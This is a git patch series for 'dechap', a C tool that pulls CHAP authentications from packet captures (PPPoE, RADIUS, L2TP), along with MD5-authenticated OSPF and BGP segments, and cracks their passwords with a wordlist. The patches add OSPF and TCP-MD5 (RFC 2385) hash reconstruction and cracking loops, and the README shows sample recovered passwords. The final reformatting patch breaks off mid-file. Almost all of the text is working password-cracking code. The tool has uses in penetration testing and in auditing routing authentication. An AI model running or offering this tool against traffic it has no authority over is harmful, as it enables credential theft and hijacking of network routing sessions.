50f0d68083c7aa0341ccbb5df1c1a731dd6c399d Mon Sep 17 00:00:00 2001 From: libcrack Date: Mon, 25 Apr 2016 22:28:35 +0200 Subject: [PATCH 03/12] dechap v0.3a --- README | 13 ++++--- dechap.c | 112 ++++++++++++++++++++++++++++++++++++++++++++++--------- dechap.h | 5 ++- 3 files changed, 106 insertions(+), 24 deletions(-) diff --git a/README b/README index 8e85193..b5cec6e 100644 --- a/README +++ b/README @@ -1,13 +1,14 @@ -dechap v0.2 Alpha -Written by Foeh Mannay, January 2013 +dechap v0.3 Alpha +Written by Foeh Mannay, September 2013 PURPOSE ======= dechap is a tool which attempts to recover login credentials from captured -PPPoE, RADIUS and L2TP CHAP authentications. It strips away any 802.1Q tags -and / or MPLS labels which are present to get to the CHAP and then runs a -dictionary attack against any authentications it finds. +PPPoE, RADIUS and L2TP CHAP authentications or MD5 authenticated OSPF traffic. +It strips away any 802.1Q tags and / or MPLS labels which are present to get to +the good stuff and then runs a dictionary attack against any authentications it +finds. Please see http://networkingbodges.blogspot.com/ for more information on the theory behind this if you are interested. @@ -31,6 +32,7 @@ Unable to find a password for user user2@testisp.com. Found password "password1" for user user3@testisp.com. Found password "Africa" for user user4@testisp.com. Found password "Frankenstein" for user user5@testisp.com. +Found password "s3cr3tk3y" for OSPF host 10.1.1.1 key 1. lab@lab:~/dechap$ CHANGE LOG @@ -41,4 +43,5 @@ v0.1a First working release, only works with PPPoE traffic. v0.2a Added support for RADIUS and L2TP captures. Fixed a bug in MPLS decap. +v0.3a Added support for MD5 authenticated OSPF. diff --git a/dechap.c b/dechap.c index d8101fd..51b93c4 100644 --- a/dechap.c +++ b/dechap.c @@ -5,10 +5,11 @@ #include "dechap.h" -#define SWVERSION "v0.2 alpha" -#define SWRELEASEDATE "January 2013" +#define SWVERSION "v0.3 alpha" +#define SWRELEASEDATE "September 2013" -// "dechap" attempts to recover credentials from packet captures of PPPoE, RADIUS or L2TP CHAP authentications. +// "dechap" attempts to recover credentials from packet captures of PPPoE, RADIUS and L2TP CHAP authentications. +// It can also now work with OSPFv2 packets :) // Written by Foeh Mannay // Please refer to http://networkbodges.blogspot.com for more information about this tool. // This software is released under the Modified BSD license. @@ -84,6 +85,7 @@ auth_instance_t *decap(char *data, unsigned int length, char type, auth_instance if(memcmp(data+12, "\x08\x00",2) == 0){ return(decap(data + 14, length - 14, IPv4, ai)); } + return(NULL); break; case VLAN: if(length < 4) return(NULL); @@ -106,6 +108,12 @@ auth_instance_t *decap(char *data, unsigned int length, char type, auth_instance if(memcmp(data+2, "\x88\x64", 2) == 0){ return(decap(data + 4, length - 4, PPPoE, ai)); } + // IP next? + if(memcmp(data+2, "\x08\x00", 2) == 0){ + return(decap(data + 4, length - 4, IPv4, ai)); + } + return(NULL); + break; case MPLS: if(length < 4) return(NULL); @@ -181,10 +189,56 @@ auth_instance_t *decap(char *data, unsigned int length, char type, auth_instance if(length < 20) return(NULL); if(length < 4 * (data[0] & 15)) return(NULL); - if(data[9] == '\x11'){ + if(data[9] == '\x11'){ // UDP return(decap(data + (4 * (data[0] & 15)), length - (4 * (data[0] & 15)), UDP, ai)); - } else return(NULL); + } + + if(data[9] == '\x59'){ //OSPFv2 + ai->ip_ptr = data; + return(decap(data + (4 * (data[0] & 15)), length - (4 * (data[0] & 15)), OSPFv2, ai)); + } + + return(NULL); + break; + case OSPFv2: + // If the protocol is OSPF IGP, check for version 2 packets with MD5 auth. + if(length < 24) return(NULL); // Must have full header + if(data[0] != '\x02') return(NULL); // OSPF version check + if(memcmp(data + 12, "\x00\x00\x00\x02",4) != 0) return(NULL); // Not MD5 auth + vlen = (((unsigned char)data[2]) * 256 + (unsigned char)data[3]); + if(length < (vlen + (unsigned char)data[19])) return(NULL); // Header lies! + + // Assuming the OSPF is sane, grab a copy of the packet contents + ai->cr = PLAIN_MD5; + ai->challenge_data = (char*)malloc(vlen); + if(ai->challenge_data == NULL){ + printf("Error! Could not allocate memory for OSPF packet data!\n"); + return(NULL); + } + memcpy(ai->challenge_data, data, vlen); + ai->length = vlen; + // Now save a copy of the resulting hash + ai->response_data = (char*)malloc((unsigned char)data[19]); + if(ai->response_data == NULL){ + printf("Error! Could not allocate memory for OSPF packet data!\n"); + return(NULL); + } + memcpy(ai->response_data, data + vlen, (unsigned char)data[19]); + ai->username = (char*)malloc(40); + if(ai->username == NULL){ + printf("Error! Could not allocate memory for hostname!\n"); + return(NULL); + } + // Set the username to indicate the IP of the sending router and the key ID + snprintf(ai->username, 39, "OSPF host %u.%u.%u.%u key %u", + (unsigned char)ai->ip_ptr[12], + (unsigned char)ai->ip_ptr[13], + (unsigned char)ai->ip_ptr[14], + (unsigned char)ai->ip_ptr[15], + (unsigned char)data[18]); + return(ai); + case UDP: // If the protocol is UDP, check for RADIUS / L2TP port numbers if(length < 8) return(NULL); @@ -352,7 +406,7 @@ auth_list_item_t *node(auth_instance_t *item){ return(n); } -puzzle_t *addpuzzle(puzzle_t *root, auth_list_item_t *challenge, auth_list_item_t *response){ +puzzle_t *addpuzzle(puzzle_t *root, auth_list_item_t *challenge, auth_list_item_t *response, char type){ // Generates a puzzle from a challenge / response pair and appends it to the list of puzzles. puzzle_t *current; puzzle_t *newnode = (puzzle_t*)malloc(sizeof(puzzle_t)); @@ -369,6 +423,7 @@ puzzle_t *addpuzzle(puzzle_t *root, auth_list_item_t *challenge, auth_list_item_ newnode->response = response->item->response_data; newnode->username = response->item->username; newnode->password = NULL; + newnode->type = type; if(root == NULL) return(newnode); for(current = root; current->next != NULL; current = current->next); @@ -388,10 +443,15 @@ puzzle_t *pair_up(auth_list_item_t *chaps){ // ID and authentication ID. for(response = chaps; response != NULL; response = response->next){ + if(response->item->cr == PLAIN_MD5){ + challenge = response; + puzzles = addpuzzle(puzzles, challenge, response, PLAIN_MD5); + continue; + } if(response->item->cr == CHAP_CHALLENGE) continue; if(response->item->cr == CHAP_BOTH){ challenge = response; - puzzles = addpuzzle(puzzles, challenge, response); + puzzles = addpuzzle(puzzles, challenge, response, CHAP); continue; } for(challenge = response; challenge != NULL; challenge = challenge->prev){ @@ -409,7 +469,7 @@ puzzle_t *pair_up(auth_list_item_t *chaps){ if(challenge == NULL) continue; // If we did find a match, create an entry in our list of hashes. - puzzles = addpuzzle(puzzles, challenge, response); + puzzles = addpuzzle(puzzles, challenge, response, CHAP); } return(puzzles); } @@ -503,28 +563,44 @@ void crack(puzzle_t *puzzles, FILE *wordfile){ puzzle_t *currentpuzzle = NULL; char *password = (char*)malloc(256), - tuple[512], + *base, hash[16]; int pwlen = 0; for(currentpuzzle = puzzles; currentpuzzle != NULL; currentpuzzle = currentpuzzle->next){ + base = (char*)malloc(currentpuzzle->length + 257); rewind(wordfile); while(feof(wordfile) == 0){ if(fgets(password, 255, wordfile) == NULL) break; pwlen = strlen(password); if(pwlen > 0 && password[pwlen-1] == '\n') password[pwlen-1] = '\x00'; - // Next job is to concatenate the auth ID with the plaintext password and the challenge data: - tuple[0] = (char)currentpuzzle->authid; - strcpy(tuple+1, password); - memcpy(tuple+pwlen, currentpuzzle->challenge, currentpuzzle->length); - // Obtain the MD5 hash of this and compare it to the one in the CHAP response: - MD5(tuple, pwlen + currentpuzzle->length , hash); - if(memcmp(hash, currentpuzzle->response, 16) == 0){ - printf("Found password \"%s\" for user %s.\n", password, currentpuzzle->username); - currentpuzzle->password = strdup(password); + if(currentpuzzle->type == CHAP){ + // Next job is to concatenate the auth ID with the plaintext password and the challenge data: + base[0] = (char)currentpuzzle->authid; + strcpy(base+1, password); + memcpy(base+pwlen, currentpuzzle->challenge, currentpuzzle->length); + // Obtain the MD5 hash of this and compare it to the one in the CHAP response: + MD5(base, pwlen + currentpuzzle->length , hash); + if(memcmp(hash, currentpuzzle->response, 16) == 0){ + printf("Found password \"%s\" for user %s.\n", password, currentpuzzle->username); + currentpuzzle->password = strdup(password); + break; + } + } else if(currentpuzzle->type == PLAIN_MD5){ + // Hash is run against the packet contents, plus a zero padded password field of exactly 16 bytes length + memcpy(base, currentpuzzle->challenge, currentpuzzle->length); + memcpy(base+currentpuzzle->length, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16); + strcpy(base+currentpuzzle->length, password); + MD5(base, 16 + currentpuzzle->length, hash); + if(memcmp(hash, currentpuzzle->response, 16) == 0){ + printf("Found password \"%s\" for user %s.\n", password, currentpuzzle->username); + currentpuzzle->password = strdup(password); + break; + } } } if(currentpuzzle->password == NULL) printf("Unable to find a password for user %s.\n", currentpuzzle->username); + free(base); } } diff --git a/dechap.h b/dechap.h index 340e72a..625792c 100644 --- a/dechap.h +++ b/dechap.h @@ -14,7 +14,8 @@ #define RADAVP '\x0a' #define L2TP '\x0b' #define L2AVP '\x0c' - +#define OSPFv2 '\x0d' +#define PLAIN_MD5 '\x0e' typedef struct auth_instance_s { // A data structure to hold the details necessary to uniquely identify an authentication instance. @@ -29,6 +30,7 @@ typedef struct auth_instance_s { char *challenge_data; char *response_data; char *username; + char *ip_ptr; } auth_instance_t; typedef struct auth_list_item_s { @@ -47,6 +49,7 @@ typedef struct puzzle_s { char *response; char *username; char *password; + char type; } puzzle_t; typedef unsigned int guint32; From d63b2661995d85f881274d4ed4e32621c052b057 Mon Sep 17 00:00:00 2001 From: libcrack Date: Mon, 25 Apr 2016 22:29:15 +0200 Subject: [PATCH 04/12] dechap v0.4a --- README | 15 ++++--- dechap.c | 116 +++++++++++++++++++++++++++++++++++++++++++++++-------- dechap.h | 4 +- 3 files changed, 111 insertions(+), 24 deletions(-) diff --git a/README b/README index b5cec6e..8f22f3f 100644 --- a/README +++ b/README @@ -1,14 +1,14 @@ -dechap v0.3 Alpha -Written by Foeh Mannay, September 2013 +dechap v0.4 Alpha +Written by Foeh Mannay, October 2013 PURPOSE ======= dechap is a tool which attempts to recover login credentials from captured -PPPoE, RADIUS and L2TP CHAP authentications or MD5 authenticated OSPF traffic. -It strips away any 802.1Q tags and / or MPLS labels which are present to get to -the good stuff and then runs a dictionary attack against any authentications it -finds. +PPPoE, RADIUS and L2TP CHAP authentications plus MD5 authenticated OSPF or BGP +traffic. It strips away any 802.1Q tags and / or MPLS labels which are present +to get to the good stuff and then runs a dictionary attack against any +authentications it finds. Please see http://networkingbodges.blogspot.com/ for more information on the theory behind this if you are interested. @@ -33,6 +33,7 @@ Found password "password1" for user user3@testisp.com. Found password "Africa" for user user4@testisp.com. Found password "Frankenstein" for user user5@testisp.com. Found password "s3cr3tk3y" for OSPF host 10.1.1.1 key 1. +Found password "t1nt3rn3t" for TCP from 10.0.0.2 to 10.0.0.1. lab@lab:~/dechap$ CHANGE LOG @@ -45,3 +46,5 @@ v0.2a Added support for RADIUS and L2TP captures. v0.3a Added support for MD5 authenticated OSPF. +v0.4a Added support for MD5 authenticated BGP. + diff --git a/dechap.c b/dechap.c index 51b93c4..ca1f77b 100644 --- a/dechap.c +++ b/dechap.c @@ -5,11 +5,11 @@ #include "dechap.h" -#define SWVERSION "v0.3 alpha" -#define SWRELEASEDATE "September 2013" +#define SWVERSION "v0.4 alpha" +#define SWRELEASEDATE "October 2013" // "dechap" attempts to recover credentials from packet captures of PPPoE, RADIUS and L2TP CHAP authentications. -// It can also now work with OSPFv2 packets :) +// It can also now work with OSPFv2 and BGP packets :) // Written by Foeh Mannay // Please refer to http://networkbodges.blogspot.com for more information about this tool. // This software is released under the Modified BSD license. @@ -55,6 +55,7 @@ auth_instance_t *decap(char *data, unsigned int length, char type, auth_instance // template which is populated as the various layers of encap are stripped away. int chaplen = 0; int vlen = 0; + int pos = 0; // Some sanity checks if(data == NULL) return(NULL); @@ -188,16 +189,19 @@ auth_instance_t *decap(char *data, unsigned int length, char type, auth_instance // If the protocol is IPv4 we may find some UDP RADIUS / L2TP messages if(length < 20) return(NULL); if(length < 4 * (data[0] & 15)) return(NULL); + ai->ip_ptr = data; if(data[9] == '\x11'){ // UDP - return(decap(data + (4 * (data[0] & 15)), length - (4 * (data[0] & 15)), UDP, ai)); + return(decap(data + (4 * (data[0] & 15)), length - (4 * (unsigned char)(data[0] & 15)), UDP, ai)); } if(data[9] == '\x59'){ //OSPFv2 - ai->ip_ptr = data; - return(decap(data + (4 * (data[0] & 15)), length - (4 * (data[0] & 15)), OSPFv2, ai)); + return(decap(data + (4 * (data[0] & 15)), length - (4 * (unsigned char)(data[0] & 15)), OSPFv2, ai)); } - + + if(data[9] == '\x06'){ //TCP + return(decap(data + (4 * (data[0] & 15)), length - (4 * (unsigned char)(data[0] & 15)), TCP, ai)); + } return(NULL); break; @@ -210,7 +214,7 @@ auth_instance_t *decap(char *data, unsigned int length, char type, auth_instance if(length < (vlen + (unsigned char)data[19])) return(NULL); // Header lies! // Assuming the OSPF is sane, grab a copy of the packet contents - ai->cr = PLAIN_MD5; + ai->cr = OSPF_MD5; ai->challenge_data = (char*)malloc(vlen); if(ai->challenge_data == NULL){ printf("Error! Could not allocate memory for OSPF packet data!\n"); @@ -239,6 +243,69 @@ auth_instance_t *decap(char *data, unsigned int length, char type, auth_instance (unsigned char)data[18]); return(ai); + case TCP: + // If the protocol is TCP, check for MD5 signature (a la RFC 2385 for BGP) + if(length < 40) return(NULL); // Not enough frame left for a signature + + if((unsigned char)(data[12] & '\xf0') < '\xa0' ) return(NULL); // Header too short for MD5 signature + + for(pos=20; data[pos] != 0; pos = pos + data[pos+1]){ // Cycle through the options, looking for + if(data[pos] == 19){ // Option kind 19 for TCP MD5 signature + + vlen = length - ((unsigned char)(data[12] & '\xf0') / 4); // data length + + // Save a copy of the pseudoheader + ai->length = 12 + 20 + vlen; + ai->challenge_data = (char*)malloc(ai->length); + if(ai->challenge_data == NULL){ + printf("Error! Could not allocate memory for hash input!\n"); + return(NULL); + } + // As per RFC2385, the pseudoheader consists of: + memcpy(ai->challenge_data, ai->ip_ptr + 12, 8); // Source and destination IP, + ai->challenge_data[8] = 0; // zero padded... + ai->challenge_data[9] = ai->ip_ptr[9]; // ... protocol number + ai->challenge_data[10] = (unsigned char)(length / 256); // and segment length. + ai->challenge_data[11] = (unsigned char)(length % 256); + memcpy(ai->challenge_data+12, data, 16); // We also add the TCP header... + memcpy(ai->challenge_data+28, "\x00\x00\x00\x00", 4); // ... with a checksum of zero assumed + memcpy(ai->challenge_data+32, data + ((unsigned char)(data[12] & '\xf0') / 4), vlen); // and the segment data + + // Save a copy of the provided signature hash + ai->response_data = (char*)malloc(16); + if(ai->response_data == NULL){ + printf("Error! Could not allocate memory for hash!\n"); + return(NULL); + } + // Build a descriptive username + memcpy(ai->response_data, data + pos + 2, 16); + ai->username = (char*)malloc(45); + if(ai->username == NULL){ + printf("Error! Could not allocate memory for hostname!\n"); + return(NULL); + } + // Set the username to the source and destination IPs + snprintf(ai->username, 39, "TCP from %u.%u.%u.%u to %u.%u.%u.%u", + (unsigned char)ai->ip_ptr[12], + (unsigned char)ai->ip_ptr[13], + (unsigned char)ai->ip_ptr[14], + (unsigned char)ai->ip_ptr[15], + (unsigned char)ai->ip_ptr[16], + (unsigned char)ai->ip_ptr[17], + (unsigned char)ai->ip_ptr[18], + (unsigned char)ai->ip_ptr[19]); + + // Set the type to attack + ai->cr = IP_MD5; + + return(ai); + } + } + + return(NULL); + + break; + case UDP: // If the protocol is UDP, check for RADIUS / L2TP port numbers if(length < 8) return(NULL); @@ -443,9 +510,14 @@ puzzle_t *pair_up(auth_list_item_t *chaps){ // ID and authentication ID. for(response = chaps; response != NULL; response = response->next){ - if(response->item->cr == PLAIN_MD5){ + if(response->item->cr == OSPF_MD5){ + challenge = response; + puzzles = addpuzzle(puzzles, challenge, response, OSPF_MD5); + continue; + } + if(response->item->cr == IP_MD5){ challenge = response; - puzzles = addpuzzle(puzzles, challenge, response, PLAIN_MD5); + puzzles = addpuzzle(puzzles, challenge, response, IP_MD5); continue; } if(response->item->cr == CHAP_CHALLENGE) continue; @@ -586,20 +658,30 @@ void crack(puzzle_t *puzzles, FILE *wordfile){ currentpuzzle->password = strdup(password); break; } - } else if(currentpuzzle->type == PLAIN_MD5){ + } else if(currentpuzzle->type == OSPF_MD5){ // Hash is run against the packet contents, plus a zero padded password field of exactly 16 bytes length memcpy(base, currentpuzzle->challenge, currentpuzzle->length); memcpy(base+currentpuzzle->length, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16); strcpy(base+currentpuzzle->length, password); MD5(base, 16 + currentpuzzle->length, hash); if(memcmp(hash, currentpuzzle->response, 16) == 0){ - printf("Found password \"%s\" for user %s.\n", password, currentpuzzle->username); + printf("Found password \"%s\" for %s.\n", password, currentpuzzle->username); + currentpuzzle->password = strdup(password); + break; + } + } else if(currentpuzzle->type == IP_MD5){ + // Hash is run against the pseudoheader and segment contents, plus a variable length password field + memcpy(base, currentpuzzle->challenge, currentpuzzle->length); + strcpy(base+currentpuzzle->length, password); + MD5(base, currentpuzzle->length + pwlen -1, hash); + if(memcmp(hash, currentpuzzle->response, 16) == 0){ + printf("Found password \"%s\" for %s.\n", password, currentpuzzle->username); currentpuzzle->password = strdup(password); break; } } } - if(currentpuzzle->password == NULL) printf("Unable to find a password for user %s.\n", currentpuzzle->username); + if(currentpuzzle->password == NULL) printf("Unable to find a password for %s.\n", currentpuzzle->username); free(base); } } @@ -615,13 +697,13 @@ int main(int argc, char *argv[]){ // Parse our command line parameters and verify they are usable. If not, show help. parameters = parseParams(argc, argv); if(parameters == NULL){ - printf("dechap: the CHAP password brute-forcer for PPPoE, RADIUS and L2TP traffic\nVersion %s, %s\n\n", SWVERSION, SWRELEASEDATE); + printf("dechap: a dictionary attack for captured PPPoE, RADIUS, L2TP, OSPF and BGP traffic.\nVersion %s, %s\n\n", SWVERSION, SWRELEASEDATE); printf("Usage:\n"); printf("%s -c capfile -w wordfile\n\n",argv[0]); printf("Where capfile is a tcpdump-style .cap file containing PPPoE, RADIUS\n"); - printf("or L2TP CHAP authentications and wordfile is a plain text file\n"); - printf("containing password guesses. VLAN tags and MPLS labels are automatically\n"); - printf("stripped.\n"); + printf("or L2TP CHAP authentications or MD5 authenticated OSPF / BGP packets and\n"); + printf("wordfile is a plain text file containing password guesses. VLAN tags\n"); + printf("and MPLS labels are automatically stripped.\n"); return(1); } diff --git a/dechap.h b/dechap.h index 625792c..1e2ccd0 100644 --- a/dechap.h +++ b/dechap.h @@ -15,7 +15,9 @@ #define L2TP '\x0b' #define L2AVP '\x0c' #define OSPFv2 '\x0d' -#define PLAIN_MD5 '\x0e' +#define OSPF_MD5 '\x0e' +#define TCP '\x0f' +#define IP_MD5 '\x10' typedef struct auth_instance_s { // A data structure to hold the details necessary to uniquely identify an authentication instance. From d07c8ed0379a4328fefcf527768f7214746a1ad8 Mon Sep 17 00:00:00 2001 From: libcrack Date: Mon, 25 Apr 2016 22:44:52 +0200 Subject: [PATCH 05/12] Modified makefile --- Makefile | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/Makefile b/Makefile index 4b5f56c..cf9df6d 100644 --- a/Makefile +++ b/Makefile @@ -1,10 +1,8 @@ CC=gcc - CFLAGS=-lssl - - all: - $(CC) $(CFLAGS) dechap.c -o dechap +clean: + rm dechap From 69b60dbd676a23f921eed6796fcf4fcbef8f2f19 Mon Sep 17 00:00:00 2001 From: libcrack Date: Mon, 25 Apr 2016 22:45:16 +0200 Subject: [PATCH 06/12] Improved dechap.h library code layout --- dechap.h | 66 ++++++++++++++++++++++++++++++++++++-------------------- 1 file changed, 43 insertions(+), 23 deletions(-) diff --git a/dechap.h b/dechap.h index 1e2ccd0..b426a0e 100644 --- a/dechap.h +++ b/dechap.h @@ -1,26 +1,36 @@ -#define CHAP_NONE '\x00' -#define CHAP_CHALLENGE '\x01' -#define CHAP_RESPONSE '\x02' -#define CHAP_BOTH '\x03' -#define ETHERNET '\x01' -#define VLAN '\x02' -#define MPLS '\x03' -#define PPPoE '\x04' -#define PPP '\x05' -#define CHAP '\x06' -#define IPv4 '\x07' -#define UDP '\x08' -#define RADIUS '\x09' -#define RADAVP '\x0a' -#define L2TP '\x0b' -#define L2AVP '\x0c' -#define OSPFv2 '\x0d' -#define OSPF_MD5 '\x0e' -#define TCP '\x0f' -#define IP_MD5 '\x10' +#ifndef _DECHAP_H_ +#define _DECHAP_H_ + +#define CHAP_NONE '\x00' +#define CHAP_CHALLENGE '\x01' +#define CHAP_RESPONSE '\x02' +#define CHAP_BOTH '\x03' + +#define ETHERNET '\x01' +#define VLAN '\x02' +#define MPLS '\x03' +#define PPPoE '\x04' +#define PPP '\x05' +#define CHAP '\x06' +#define IPv4 '\x07' +#define UDP '\x08' +#define RADIUS '\x09' +#define RADAVP '\x0a' +#define L2TP '\x0b' +#define L2AVP '\x0c' +#define OSPFv2 '\x0d' +#define OSPF_MD5 '\x0e' +#define TCP '\x0f' + +#define IP_MD5 '\x10' + + +/** + * A data structure to hold the details necessary + * to uniquely identify an authentication instance. +**/ typedef struct auth_instance_s { -// A data structure to hold the details necessary to uniquely identify an authentication instance. char smac[6]; char dmac[6]; int svlan; @@ -35,15 +45,24 @@ typedef struct auth_instance_s { char *ip_ptr; } auth_instance_t; +/* + * A node for creating linked lists of + * authentication instances +**/ + typedef struct auth_list_item_s { -// A node for creating linked lists of authentication instances struct auth_list_item_s *next; struct auth_list_item_s *prev; auth_instance_t *item; } auth_list_item_t; + +/* + * A node for creating linked lists of + * challenge / response pairs +**/ + typedef struct puzzle_s { -// A node for creating linked lists of challenge / response pairs struct puzzle_s *next; int authid; int length; @@ -79,3 +98,4 @@ typedef struct params_s { char *wordfile; } params_t; +#endif From 6c0d5d5dfe507512fec460408acc8aadef7ae032 Mon Sep 17 00:00:00 2001 From: libcrack Date: Mon, 25 Apr 2016 22:50:18 +0200 Subject: [PATCH 07/12] Fixed Makefile (-lssl => -lcrypto) --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index cf9df6d..d71fd2b 100644 --- a/Makefile +++ b/Makefile @@ -1,5 +1,5 @@ CC=gcc -CFLAGS=-lssl +CFLAGS=-lcrypto all: $(CC) $(CFLAGS) dechap.c -o dechap From 9116d032005cddf69987fe3285ee09add4c2988e Mon Sep 17 00:00:00 2001 From: libcrack Date: Mon, 25 Apr 2016 22:50:45 +0200 Subject: [PATCH 08/12] Converted al tabs to 4 spaces --- dechap.c | 1314 +++++++++++++++++++++++++++--------------------------- 1 file changed, 661 insertions(+), 653 deletions(-) diff --git a/dechap.c b/dechap.c index ca1f77b..bc91736 100644 --- a/dechap.c +++ b/dechap.c @@ -1,12 +1,13 @@ -#include #include #include #include +#include + #include "dechap.h" -#define SWVERSION "v0.4 alpha" -#define SWRELEASEDATE "October 2013" +#define SWVERSION "v0.5 alpha" +#define SWRELEASEDATE "October 2016" // "dechap" attempts to recover credentials from packet captures of PPPoE, RADIUS and L2TP CHAP authentications. // It can also now work with OSPFv2 and BGP packets :) @@ -15,281 +16,281 @@ // This software is released under the Modified BSD license. params_t *parseParams(int argc, char *argv[]){ - // Returns a struct with various parameters or NULL if invalid - unsigned int i = 1; - params_t *parameters = (params_t*)malloc(sizeof(params_t)); - if(parameters == NULL) return(NULL); - - // There must be 4 parameters - if(argc != 5) return(NULL); - - // Set some defaults - parameters->capfile = NULL; - parameters->wordfile = NULL; - - // Look for the various flags, then store the corresponding value - while(i < argc){ - if(strcmp(argv[i],"-c") == 0){ - parameters->capfile = argv[++i]; - i++; - continue; - } - if(strcmp(argv[i],"-w") == 0){ - parameters->wordfile = argv[++i]; - i++; - continue; - } - // If we get any unrecognised parameters just fail - return(NULL); - } - - // If the input files still aren't set, bomb - if(parameters->capfile == NULL || parameters->wordfile == NULL) return(NULL); - - return(parameters); + // Returns a struct with various parameters or NULL if invalid + unsigned int i = 1; + params_t *parameters = (params_t*)malloc(sizeof(params_t)); + if(parameters == NULL) return(NULL); + + // There must be 4 parameters + if(argc != 5) return(NULL); + + // Set some defaults + parameters->capfile = NULL; + parameters->wordfile = NULL; + + // Look for the various flags, then store the corresponding value + while(i < argc){ + if(strcmp(argv[i],"-c") == 0){ + parameters->capfile = argv[++i]; + i++; + continue; + } + if(strcmp(argv[i],"-w") == 0){ + parameters->wordfile = argv[++i]; + i++; + continue; + } + // If we get any unrecognised parameters just fail + return(NULL); + } + + // If the input files still aren't set, bomb + if(parameters->capfile == NULL || parameters->wordfile == NULL) return(NULL); + + return(parameters); } auth_instance_t *decap(char *data, unsigned int length, char type, auth_instance_t *ai){ // The decap() function takes in a pointer to a (partial) frame, the size of the // data, a hint indicating the encap type and a pointer to an authentication instance // template which is populated as the various layers of encap are stripped away. - int chaplen = 0; - int vlen = 0; - int pos = 0; - - // Some sanity checks - if(data == NULL) return(NULL); - if(ai == NULL) return(NULL); - - // Based on current encap type, try to determine what the next encap type will be - switch(type){ - case ETHERNET: - if(length < 14) return(NULL); - - // Populate the source and destination MACs then check the EtherType - memcpy(ai->dmac, data, 6); - memcpy(ai->smac, data + 6, 6); - - // VLAN tag next? - if(memcmp(data+12, "\x81\x00", 2) == 0 || memcmp(data+12, "\x91\x00", 2) == 0){ - return(decap(data + 14, length - 14, VLAN, ai)); - } - // MPLS tag next? - if(memcmp(data+12, "\x88\x47", 2) == 0){ - return(decap(data + 14, length - 14, MPLS, ai)); - } - // PPPoE session data next? - if(memcmp(data+12, "\x88\x64", 2) == 0){ - return(decap(data + 14, length - 14, PPPoE, ai)); - } - // IP next? - if(memcmp(data+12, "\x08\x00",2) == 0){ - return(decap(data + 14, length - 14, IPv4, ai)); - } - return(NULL); - break; - case VLAN: - if(length < 4) return(NULL); - // Populate the VLAN ID(s): - // If there is already an inner VLAN, move it to an outer - if(ai->cvlan != 0) ai->svlan = ai->cvlan; - // Store this VLAN as the inner - ai->cvlan = (256*data[0] & 15) + data[1]; - - // Now determine the next encap type from the EtherType - // VLAN tag next? - if(memcmp(data+2, "\x81\x00", 2) == 0 || memcmp(data+2, "\x91\x00",2) == 0){ - return(decap(data + 4, length - 4, VLAN, ai)); - } - // MPLS tag next? - if(memcmp(data+2, "\x88\x47", 2) == 0){ - return(decap(data + 4, length - 4, MPLS, ai)); - } - // PPPoE session data next? - if(memcmp(data+2, "\x88\x64", 2) == 0){ - return(decap(data + 4, length - 4, PPPoE, ai)); - } + int chaplen = 0; + int vlen = 0; + int pos = 0; + + // Some sanity checks + if(data == NULL) return(NULL); + if(ai == NULL) return(NULL); + + // Based on current encap type, try to determine what the next encap type will be + switch(type){ + case ETHERNET: + if(length < 14) return(NULL); + + // Populate the source and destination MACs then check the EtherType + memcpy(ai->dmac, data, 6); + memcpy(ai->smac, data + 6, 6); + + // VLAN tag next? + if(memcmp(data+12, "\x81\x00", 2) == 0 || memcmp(data+12, "\x91\x00", 2) == 0){ + return(decap(data + 14, length - 14, VLAN, ai)); + } + // MPLS tag next? + if(memcmp(data+12, "\x88\x47", 2) == 0){ + return(decap(data + 14, length - 14, MPLS, ai)); + } + // PPPoE session data next? + if(memcmp(data+12, "\x88\x64", 2) == 0){ + return(decap(data + 14, length - 14, PPPoE, ai)); + } + // IP next? + if(memcmp(data+12, "\x08\x00",2) == 0){ + return(decap(data + 14, length - 14, IPv4, ai)); + } + return(NULL); + break; + case VLAN: + if(length < 4) return(NULL); + // Populate the VLAN ID(s): + // If there is already an inner VLAN, move it to an outer + if(ai->cvlan != 0) ai->svlan = ai->cvlan; + // Store this VLAN as the inner + ai->cvlan = (256*data[0] & 15) + data[1]; + + // Now determine the next encap type from the EtherType + // VLAN tag next? + if(memcmp(data+2, "\x81\x00", 2) == 0 || memcmp(data+2, "\x91\x00",2) == 0){ + return(decap(data + 4, length - 4, VLAN, ai)); + } + // MPLS tag next? + if(memcmp(data+2, "\x88\x47", 2) == 0){ + return(decap(data + 4, length - 4, MPLS, ai)); + } + // PPPoE session data next? + if(memcmp(data+2, "\x88\x64", 2) == 0){ + return(decap(data + 4, length - 4, PPPoE, ai)); + } // IP next? if(memcmp(data+2, "\x08\x00", 2) == 0){ return(decap(data + 4, length - 4, IPv4, ai)); } - return(NULL); - - break; - case MPLS: - if(length < 4) return(NULL); - // Check bottom of stack bit to decide whether to keep stripping MPLS or try for Ethernet - if((data[2] & '\x01') == 0){ - return(decap(data + 4, length - 4, MPLS, ai)); // Not BOS, more MPLS - } - if(length > 4 && (data[4] & '\xf0') == '\x40'){ - return(decap(data + 4, length - 4, IPv4, ai)); // BOS, presume IPv4 - } else { - return(decap(data + 4, length - 4, ETHERNET, ai)); // BOS - try for Ethernet - } - break; - case PPPoE: - // Only a PPP header can follow a PPPoE session header - if(length < 6) return(NULL); - // Populate the PPPoE SID - ai->pppoesid = (data[2] * 256) + data[3]; - return(decap(data + 6, length - 6, PPP, ai)); - break; - case PPP: - // If the protocol is CHAP, decode it. If not, bail out. - if(length < 2) return(NULL); - if(memcmp(data, "\xc2\x23", 2) == 0){ - return(decap(data + 2, length - 2, CHAP, ai)); - } - else return(NULL); - break; - case CHAP: - if(length < 4) return(NULL); - // We only care about challenges and responses, so success and failure messages are ignored. - switch(data[0]){ - case CHAP_CHALLENGE: // If it's a challenge: - // Populate the auth ID, challenge data and challenge length. - ai->authid = data[1]; - ai->cr = CHAP_CHALLENGE; - ai->length = data[4]; - ai->challenge_data = (char*)malloc(ai->length); - if(ai->challenge_data == NULL){ - printf("Could not malloc %u bytes for CHAP challenge data!\n",ai->length); - return(NULL); - } - memcpy(ai->challenge_data, data + 5, ai->length); - return(ai); - break; - case CHAP_RESPONSE: // If it's a response: - // Populate the auth ID, response data and username. - ai->authid = data[1]; - ai->cr = CHAP_RESPONSE; - ai->length = data[4]; // Should always be 16 but why take chances? - ai->response_data = (char*)malloc(ai->length); - if(ai->response_data == 